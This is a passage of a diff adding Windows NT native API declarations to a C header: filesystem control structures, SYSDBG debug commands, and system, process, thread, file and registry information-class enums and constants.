$Secure stream + // + + ULONGLONG NumSDChangedFail; + + // + // How many entires are unused in the current security stream + // + + ULONGLONG NumSDUnused; + + // + // The total number of entries processed in the $Secure stream + // + + ULONGLONG NumSDTotal; + + // + // How many entries were successfully changed in the $MFT file + // + + ULONGLONG NumMftSDChangedSuccess; + + // + // How many entries failed the update in the $MFT file + // + + ULONGLONG NumMftSDChangedFail; + + // + // Total number of entriess process in the $MFT file + // + + ULONGLONG NumMftSDTotal; + +} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; + +// +// Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE +// + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _SD_GLOBAL_CHANGE_INPUT +{ + // + // Input flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which type of change we are doing and pics which member + // of the below union is in use. + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_INPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; + +typedef struct _SD_GLOBAL_CHANGE_OUTPUT +{ + + // + // Output State Flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which below union to use + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_OUTPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +// +// Flag to indicate the encrypted file is sparse +// + +#define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 + +typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { + + ULONG ExtendedCode; + ULONG Length; + ULONG Flags; + ULONG Reserved; + +} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; + + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { + ULONG Flags; + ULONG NumberOfClusters; + LARGE_INTEGER Cluster[1]; +} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { + ULONG Offset; + ULONG NumberOfMatches; + ULONG BufferSizeRequired; +} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { + ULONG OffsetToNext; + ULONG Flags; + LARGE_INTEGER Reserved; + LARGE_INTEGER Cluster; + WCHAR FileName[1]; +} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; + +typedef struct _FILE_TYPE_NOTIFICATION_INPUT { + + ULONG Flags; + ULONG NumFileTypeIDs; + GUID FileTypeID[1]; + +} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; + +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file + +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); +#endif /* _WIN32_WINNT >= 0x0601 */ + +#endif // _FILESYSTEMFSCTL_ + +// 21.12.2011 - end + +// 09.06.2011 - end + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +enum _INTERFACE_TYPE { }; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, // WOW64 + SystemEmulationProcessorInformation, // WOW64 + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemCodeIntegrityInformation, + SystemProcessorMicrocodeUpdateInformation, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, + EventTraceGroupMaskInformation, + EventTracePerformanceInformation, + EventTraceTimeProfileInformation, + EventTraceSessionSecurityInformation, + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; + +#define LOCK_QUEUE_WAIT 1 +#define LOCK_QUEUE_WAIT_BIT 0 + +#define LOCK_QUEUE_OWNER 2 +#define LOCK_QUEUE_OWNER_BIT 1 + +#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 +#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) + +typedef enum _KSPIN_LOCK_QUEUE_NUMBER { + LockQueueDispatcherLock, + LockQueueUnusedSpare1, + LockQueuePfnLock, + LockQueueSystemSpaceLock, + LockQueueVacbLock, + LockQueueMasterLock, + LockQueueNonPagedPoolLock, + LockQueueIoCancelLock, + LockQueueWorkQueueLock, + LockQueueIoVpbLock, + LockQueueIoDatabaseLock, + LockQueueIoCompletionLock, + LockQueueNtfsStructLock, + LockQueueAfdWorkQueueLock, + LockQueueBcbLock, + LockQueueMmNonPagedPoolLock, + LockQueueUnusedSpare16, + LockQueueTimerTableLock, + LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS +} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE; + + +#define PROCESS_TERMINATE (0x0001) +#define PROCESS_CREATE_THREAD (0x0002) +#define PROCESS_SET_SESSIONID (0x0004) +#define PROCESS_VM_OPERATION (0x0008) +#define PROCESS_VM_READ (0x0010) +#define PROCESS_VM_WRITE (0x0020) +#define PROCESS_DUP_HANDLE (0x0040) +#define PROCESS_CREATE_PROCESS (0x0080) +#define PROCESS_SET_QUOTA (0x0100) +#define PROCESS_SET_INFORMATION (0x0200) +#define PROCESS_QUERY_INFORMATION (0x0400) +#define PROCESS_SET_PORT (0x0800) +#define PROCESS_SUSPEND_RESUME (0x0800) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// 28.05.2011 - rndbit +#define NtLastError() ( NtCurrentTeb()->LastErrorValue ) +#define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) + +#if defined(_M_X86) +#define NtCurrentPID() __readfsdword(0x20) +#else +#define NtCurrentPID() __readgsqword(0x20) +#endif + +#define THREAD_TERMINATE (0x0001) +#define THREAD_SUSPEND_RESUME (0x0002) +#define THREAD_ALERT (0x0004) +#define THREAD_GET_CONTEXT (0x0008) +#define THREAD_SET_CONTEXT (0x0010) +#define THREAD_SET_INFORMATION (0x0020) +#define THREAD_QUERY_INFORMATION (0x0040) +#define THREAD_SET_THREAD_TOKEN (0x0080) +#define THREAD_IMPERSONATE (0x0100) +#define THREAD_DIRECT_IMPERSONATION (0x0200) + +#define JOB_OBJECT_ASSIGN_PROCESS (0x0001) +#define JOB_OBJECT_SET_ATTRIBUTES (0x0002) +#define JOB_OBJECT_QUERY (0x0004) +#define JOB_OBJECT_TERMINATE (0x0008) +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) +#ifndef _WINNT_ +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) +#endif + +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FOREGROUND_BASE_PRIORITY 9 +#define NORMAL_BASE_PRIORITY 8 + +#ifndef FILE_READ_ACCESS +#define FILE_READ_ACCESS ( 0x0001 ) +#endif + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession +} POOL_TYPE, *PPOOL_TYPE; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _REG_NOTIFY_CLASS +{ + RegNtDeleteKey, + RegNtPreDeleteKey, + RegNtSetValueKey, + RegNtPreSetValueKey, + RegNtDeleteValueKey, + RegNtPreDeleteValueKey, + RegNtSetInformationKey, + RegNtPreSetInformationKey, + RegNtRenameKey, + RegNtPreRenameKey, + RegNtEnumerateKey, + RegNtPreEnumerateKey, + RegNtEnumerateValueKey, + RegNtPreEnumerateValueKey, + RegNtQueryKey, + RegNtPreQueryKey, + RegNtQueryValueKey, + RegNtPreQueryValueKey, + RegNtQueryMultipleValueKey, + RegNtPreQueryMultipleValueKey, + RegNtPreCreateKey, + RegNtPostCreateKey, + RegNtPreOpenKey, + RegNtPostOpenKey, + RegNtKeyHandleClose, + RegNtPreKeyHandleClose, + RegNtPostDeleteKey, + RegNtPostSetValueKey, + RegNtPostDeleteValueKey, + RegNtPostSetInformationKey, + RegNtPostRenameKey, + RegNtPostEnumerateKey, + RegNtPostEnumerateValueKey, + RegNtPostQueryKey, + RegNtPostQueryValueKey, + RegNtPostQueryMultipleValueKey, + RegNtPostKeyHandleClose, + RegNtPreCreateKeyEx, + RegNtPostCreateKeyEx, + RegNtPreOpenKeyEx, + RegNtPostOpenKeyEx, + RegNtPreFlushKey, + RegNtPostFlushKey, + RegNtPreLoadKey, + RegNtPostLoadKey, + RegNtPreUnLoadKey, + RegNtPostUnLoadKey, + RegNtPreQueryKeySecurity, + RegNtPostQueryKeySecurity, + RegNtPreSetKeySecurity, + RegNtPostSetKeySecurity, + RegNtCallbackObjectContextCleanup, + MaxRegNtNotifyClass +} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; + +typedef enum _HAL_QUERY_INFORMATION_CLASS +{ + HalInstalledBusInformation, + HalProfileSourceInformation, + HalInformationClassUnused1, + HalPowerInformation, + HalProcessorSpeedInformation, + HalCallbackInformation, + HalMapRegisterInformation, + HalMcaLogInformation, + HalFrameBufferCachingInformation, + HalDisplayBiosInformation, + HalProcessorFeatureInformation, + HalNumaTopologyInterface, + HalErrorInformation, + HalCmcLogInformation, + HalCpeLogInformation, + HalQueryMcaInterface, + HalQueryAMLIIllegalIOPortAddresses, + HalQueryMaxHotPlugMemoryAddress, + HalPartitionIpiInterface, + HalPlatformInformation, + HalQueryProfileSourceList, + HalInitLogInformation, + HalFrequencyInformation, + HalProcessorBrandString +} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; + + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef enum POWER_INFORMATION_LEVEL { + SystemPowerPolicyAc = 0x0, + SystemPowerPolicyDc = 0x1, + VerifySystemPolicyAc = 0x2, + VerifySystemPolicyDc = 0x3, + SystemPowerCapabilities = 0x4, + SystemBatteryState = 0x5, + SystemPowerStateHandler = 0x6, + ProcessorStateHandler = 0x7, + SystemPowerPolicyCurrent = 0x8, + AdministratorPowerPolicy = 0x9, + SystemReserveHiberFile = 0xa, + ProcessorInformation = 0xb, + SystemPowerInformation = 0xc, + ProcessorStateHandler2 = 0xd, + LastWakeTime = 0xe, + LastSleepTime = 0xf, + SystemExecutionState = 0x10, + SystemPowerStateNotifyHandler = 0x11, + ProcessorPowerPolicyAc = 0x12, + ProcessorPowerPolicyDc = 0x13, + VerifyProcessorPowerPolicyAc = 0x14, + VerifyProcessorPowerPolicyDc = 0x15, + ProcessorPowerPolicyCurrent = 0x16, + SystemPowerStateLogging = 0x17, + SystemPowerLoggingEntry = 0x18, + SetPowerSettingValue = 0x19, + NotifyUserPowerSetting = 0x1a, + GetPowerTransitionVetoes = 0x1b, + SetPowerTransitionVeto = 0x1c, + SystemVideoState = 0x1d, + TraceApplicationPowerMessage = 0x1e, + TraceApplicationPowerMessageEnd = 0x1f, + ProcessorPerfStates = 0x20, + ProcessorIdleStates = 0x21, + ProcessorThrottleStates = 0x22, + SystemWakeSource = 0x23, + SystemHiberFileInformation = 0x24, + TraceServicePowerMessage = 0x25, + ProcessorLoad = 0x26, + PowerShutdownNotification = 0x27, + MonitorCapabilities = 0x28 +}; +#endif + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + +typedef struct _X86_FLOATING_SAVE_AREA +{ + ULONG ControlWord; + ULONG StatusWord; + ULONG TagWord; + ULONG ErrorOffset; + ULONG ErrorSelector; + ULONG DataOffset; + ULONG DataSelector; + UCHAR RegisterArea[ 80 ]; + ULONG Cr0NpxState; +} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; + +typedef struct _X86_CONTEXT +{ + ULONG ContextFlags; + ULONG Dr0; + ULONG Dr1; + ULONG Dr2; + ULONG Dr3; + ULONG Dr6; + ULONG Dr7; + X86_FLOATING_SAVE_AREA FloatSave; + ULONG SegGs; + ULONG SegFs; + ULONG SegEs; + ULONG SegDs; + ULONG Edi; + ULONG Esi; + ULONG Ebx; + ULONG Edx; + ULONG Ecx; + ULONG Eax; + ULONG Ebp; + ULONG Eip; + ULONG SegCs; + ULONG EFlags; + ULONG Esp; + ULONG SegSs; +} X86_CONTEXT, *PX86_CONTEXT; + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define PIO_APC_ROUTINE_DEFINED + +typedef struct _PORT_VIEW { + ULONG Length; + LPC_HANDLE SectionHandle; + ULONG SectionOffset; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; + LPC_PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + LPC_SIZE_T ViewSize; + 